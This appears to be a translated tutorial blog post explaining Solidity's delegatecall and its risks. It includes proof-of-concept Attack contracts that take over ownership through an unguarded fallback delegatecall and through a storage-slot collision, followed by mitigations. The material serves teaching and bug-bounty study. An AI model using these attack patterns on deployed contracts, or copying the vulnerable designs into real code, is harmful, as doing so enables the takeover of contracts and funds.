Introduction

Hi, I'm cardene, a software engineer and technical writer focused on blockchain and AI.

I've also authored Japanese technical books on specification-driven development with LLMs and decentralized application (DApp) development.

I also build and publish a variety of tools, libraries, and open-source projects.

This article explains delegatecall.

Although delegatecall is useful, it is important to understand its behavior before using it. Otherwise, a contract may become vulnerable to attacks with irreversible consequences.

This is essential knowledge for Solidity developers looking to improve their skills and for aspiring bug bounty hunters.

If you are unfamiliar with bug bounty programs, start with the following article.

[Solidity Bug Bounty] An Introduction to Bug Bounties

What Is Delegatecall?

Overview of delegatecall

Overview

In Solidity, delegatecall lets one contract execute another contract's code in its own execution context.

As illustrated below, the App contract can execute the deposit function implemented in the Bank contract.

A contract delegating execution to another contract

The storage used during execution belongs to the calling contract, not the target contract.

By contrast, an ordinary external function call uses the target contract's storage.

Observing Delegatecall

Now consider how delegatecall behaves in practice.

Delegatecall demonstration

When App executes the countUp function implemented in Count, the counter variable in App, the calling contract, is incremented.

The code is as follows.

solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;

    function countUp() public  {
        counter ++;
    }
}

contract App {
    uint public counter;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public returns(bool) {
        (bool sent, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
        return sent;
    }
}

Compare that with a call that does not use delegatecall.

Ordinary call demonstration

Unlike the delegated call, this increments the counter variable in Count, the target contract.

The code is as follows.

solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;

    function countUp() public  {
        counter ++;
    }
}

contract App {
    uint public counter;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    // function callCountUp() public returns(bool) {
    //     (bool sent, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
    //     return sent;
    // }
    function callCountUp() public {
        count.countUp();
    }
}

Ways to Call Other Contracts

The original Solidity examples cover four ways of calling another contract.

Call mechanisms

  • Direct external function call
  • call
  • callcode (historical)
  • delegatecall

Why are there several mechanisms? The key differences discussed here are which contract's storage is used and which address is exposed as msg.sender.

Let's examine the four approaches individually.

Calling Contract and Target Contract

First, establish the terminology.

The calling contract is the contract that calls another contract.

For example, when App calls Count, App is the calling contract.

Conversely, the target contract is the contract called by another contract.

In this example, Count is the target contract.

Direct External Function Call

We saw a direct call earlier, but we have not yet examined the caller address.

Direct external function call demonstration

When App calls Count, execution uses the storage of Count, the target contract.

The value of msg.sender in Count is the address of App, the calling contract.

Summary

  • Storage
    • Target contract
  • msg.sender
    • Calling contract

Storage and sender during a direct call

The code is as follows.

solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;
    address public callAddress;

    function countUp() public  {
        counter ++;
    }

    function changeCallAddress() public {
        callAddress = msg.sender;
    }
}

contract App {
    uint public counter;
    address public callAddress;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public {
        count.countUp();
        count.changeCallAddress();
    }
}

Calling with call

Consider a low-level call using call.

Low-level call demonstration

With respect to storage and msg.sender, call behaves like the direct external function call.

Summary

  • Storage
    • Target contract
  • msg.sender
    • Calling contract

Storage and sender during call

The code is as follows.

solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;
    address public callAddress;

    function countUp() public  {
        counter ++;
    }

    function changeCallAddress() public {
        callAddress = msg.sender;
    }
}

contract App {
    uint public counter;
    address public callAddress;
    Count public count;

    constructor(address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public returns(bool, bool) {
        (bool sentCountUp, ) = address(count).call(abi.encodeWithSignature("countUp()"));
        (bool sentChangeCallAddress, ) = address(count).call(abi.encodeWithSignature("changeCallAddress()"));

        return (sentCountUp, sentChangeCallAddress);
    }
}

Calling with callcode

The historical callcode mechanism is obsolete, and delegatecall is preferred.

The legacy high-level callcode member is unavailable in Solidity 0.8, so this section only summarizes its behavior. The underlying EVM CALLCODE opcode is a separate matter.

Summary

  • Storage
    • Calling contract
  • msg.sender
    • Calling contract

Storage and sender during historical callcode

Unlike a direct call or call, callcode uses the calling contract's storage.

Calling with delegatecall

Finally, consider delegatecall.

Delegated call demonstration

Execution uses the storage of App, the calling contract.

The important difference concerns msg.sender. In this demonstration, its value is the externally owned account (EOA) that called App, such as an account managed through MetaMask.

More generally, delegatecall preserves the calling execution frame's msg.sender and msg.value. The preserved sender is not necessarily an EOA; it may itself be another contract.

From the EOA's perspective, the behavior appears to take place entirely within App. This property is useful, for example, when working with libraries.

Summary

  • Storage
    • Calling contract
  • msg.sender
    • Original sender of the calling frame (an EOA in this example)

Storage and sender during delegatecall

The code is as follows.

solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract Count {
    uint public counter;
    address public callAddress;

    function countUp() public  {
        counter ++;
    }

    function changeCallAddress() public {
        callAddress = msg.sender;
    }
}

contract App {
    uint public counter;
    address public callAddress;
    Count public count;

    constructor (address _countAddress) {
        count = Count(_countAddress);
    }

    function callCountUp() public returns(bool, bool) {
        (bool sentCountUp, ) = address(count).delegatecall(abi.encodeWithSignature("countUp()"));
        (bool sentChangeCallAddress, ) = address(count).delegatecall(abi.encodeWithSignature("changeCallAddress()"));

        return (sentCountUp, sentChangeCallAddress);
    }
}

// 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
// 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2

When Is Delegatecall Dangerous?

Risks of delegatecall

What should you watch out for when using delegatecall?

This section examines two examples of unsafe delegation in deliberately vulnerable local test contracts.

Changing the Owner Address

The previous section showed that delegatecall preserves the sender of the calling execution frame. Unsafe use of this behavior can cause unexpected changes.

The following code illustrates the problem.

User

solidity
contract User {
    address public owner;

    function setOwner() public {
        owner = msg.sender;
    }
}

The contract defines an owner variable. Calling setOwner stores msg.sender in that variable.

Count

solidity
contract Count {
    address public owner;
    User public user;

    constructor(User _user) {
        owner = msg.sender;
        user = User(_user);
    }

    fallback() external payable {
        address(user).delegatecall(msg.data);
    }
}

The constructor, which runs when the contract is deployed, stores the deployer's address in owner and the address of the User contract in user.

The contract also defines a fallback function that invokes User using delegatecall.

Attack

solidity
contract Attack {
    address public countAddress;

    constructor (address _countAddress) {
        countAddress = _countAddress;
    }

    function attack() public {
        address(countAddress).call(abi.encodeWithSignature("setOwner()"));

    }
}

This contract represents the attacker in the example.

The attack function calls Count with the selector for setOwner.

But Count does not define setOwner. What happens when the call is made?

The following recording shows the behavior.

Ownership change demonstration

The example is easier to understand by separating the participants and deployments.

Participants

User A deploys User and Count.

User B deploys Attack.

User A represents the victim and user B represents the attacker in this example.

Deploying the User Contract

After deploying User and calling setOwner, user A's address is stored in owner.

Deploying the Count Contract

User A then deploys Count.

The owner variable contains user A's address, and user contains the address of User.

Deploying the Attack Contract

The original test deploys Attack and calls attack. The resulting execution sequence is as follows.

Execution sequence

  • The call to Count requests execution of setOwner.
  • Since Count does not define that function, its fallback function handles the unmatched selector.
  • The fallback uses delegatecall to invoke User, passing msg.data, which contains the calldata generated by abi.encodeWithSignature("setOwner()") in Attack.
  • The setOwner code in User executes.
  • Because delegated execution uses the calling contract's storage, the owner variable in Count is modified.

Here, the preserved sender is the Attack contract address, not user B's EOA, because Attack called Count.

The example illustrates how unrestricted delegation can permit unexpected state changes.

The complete original code for this example is as follows.

solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

/// @notice ownerにmsg.senderを格納する関数。
contract User {
    address public owner;

    function setOwner() public {
        owner = msg.sender;
    }
}

/// @notice Userコントラクトをfallback関数の中で呼び出す関数。
contract Count {
    address public owner;
    User public user;

    constructor(User _user) {
        owner = msg.sender;
        user = User(_user);
    }

    fallback() external payable {
        address(user).delegatecall(msg.data);
    }
}

/// @notice Countコントラクトを経由して、Userコントラクトを呼び出す攻撃者が実行する関数。
contract Attack {
    address public countAddress;

    constructor (address _countAddress) {
        countAddress = _countAddress;
    }

    function attack() public {
        address(countAddress).call(abi.encodeWithSignature("setOwner()"));

    }
}

Unexpected Changes to Storage Variables

When using delegatecall, the storage layout expected by the target code must be compatible with the calling contract's storage layout. The original text describes matching variable names and declaration order; strictly speaking, names themselves do not determine storage compatibility. Slot positions, types, packing, and other layout rules matter.

Otherwise, an operation may update a different variable from the one you intended to change.

Consider the following example.

User

solidity
contract User {
    uint public age;

    /// @notice ageを引数に受け取り変更する関数。
    function updateAge(uint _age) public {
        age = _age;
    }
}

The updateAge function accepts _age and updates the value of age.

Profile

solidity
/// @notice Userコントラクトをdelegatecallで呼び出す関数。
contract Profile {
    address public user;
    address public owner;
    uint public age;

    constructor(address _user) {
        user = _user;
        owner = msg.sender;
    }

    function updateAge(uint _age) public {
        user.delegatecall(abi.encodeWithSignature("updateAge(uint256)", _age));
    }
}

This contract invokes the updateAge function implemented by User through delegatecall.

Attack

solidity
/// @notice Profileに攻撃を仕掛ける関数。
contract Attack {
    address public user;
    address public owner;
    uint public age;

    Profile public profile;

    constructor (Profile _profile) {
        profile = Profile(_profile);
    }

    function attack() public {
        profile.updateAge(uint(uint160(address(this))));
        profile.updateAge(100);
    }

    function updateAge(uint _num) public {
        owner = msg.sender;
    }
}

The attack function calls updateAge on Profile twice.

The contract also defines its own updateAge function, which stores msg.sender in owner.

The following demonstration illustrates why the original test makes two calls to Profile.

Storage collision demonstration

The sequence after invoking attack is as follows.

  1. The first call invokes updateAge on Profile, passing the address of Attack represented as an integer.
  2. Profile receives _age and forwards it to the updateAge code in User through delegatecall.

First delegated call

  1. Since User executes in the storage context of Profile, it might appear that _age would be stored in Profile's age variable.
  2. Instead, the value of _age is written to the storage slot occupied by Profile's user variable.

Storage layout mismatch

  1. Profile's user variable now contains the address of Attack.
  2. Attack invokes updateAge on Profile again.
  3. Because Profile's user variable now points to Attack, the delegated execution reaches Attack's updateAge code.
  4. As before, delegated execution uses Profile's storage. The address of Attack is stored in Profile's owner variable.

Resulting ownership change

This example is more involved than the previous one. Why was the argument written to user rather than age in Profile?

The reason is how Solidity assigns storage slots according to declarations and layout rules.

For further background, see the following article.

[Solidity Bug Bounty] Understanding Access to Private Data

In this example, User's code writes to its first storage slot. In Profile, that slot belongs to user, so the delegated execution overwrites that variable instead of updating age.

The complete original code follows.

solidity
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.13;

contract User {
    uint public age;

    /// @notice ageを引数に受け取り変更する関数。
    function updateAge(uint _age) public {
        age = _age;
    }
}

/// @notice Userコントラクトをdelegatecallで呼び出す関数。
contract Profile {
    address public user;
    address public owner;
    uint public age;

    constructor(address _user) {
        user = _user;
        owner = msg.sender;
    }

    function updateAge(uint _age) public {
        user.delegatecall(abi.encodeWithSignature("updateAge(uint256)", _age));
    }
}

/// @notice Profileに攻撃を仕掛ける関数。
contract Attack {
    address public user;
    address public owner;
    uint public age;

    Profile public profile;

    constructor (Profile _profile) {
        profile = Profile(_profile);
    }

    function attack() public {
        profile.updateAge(uint(uint160(address(this))));
        profile.updateAge(100);
    }

    function updateAge(uint _num) public {
        owner = msg.sender;
    }
}

Mitigations

Mitigations for unsafe delegatecall

Finally, consider ways to prevent these issues.

Review Storage Variable Declarations

When using delegatecall, verify that the calling and target contracts have compatible storage layouts.

Differences in declaration order or variable types can cause storage collisions. Review the actual storage slots and layout, including packing and inheritance, rather than relying solely on names.

Prevent Unnecessary State Changes

Avoid unnecessary changes to variables that could become attack targets.

Critical variables should not be arbitrarily writable. Restrict access to sensitive state-changing functions and ensure that only trusted code can be executed through delegation.

Conclusion

Summary of delegatecall

This article covered delegatecall and why it can be dangerous if its execution context and storage behavior are misunderstood.

Questions about the original article can be directed to the author through Twitter. The author also shares articles about Solidity, blockchain, and Web3 there.

References

https://coinsbench.com/unsafe-delegatecall-part-2-hack-solidity-5-94dd32a628c7

https://coinsbench.com/unsafe-delegatecall-part-1-hack-solidity-5-81d5f295edb6

https://coinsbench.com/unsafe-delegatecall-part-2-hack-solidity-5-94dd32a628c7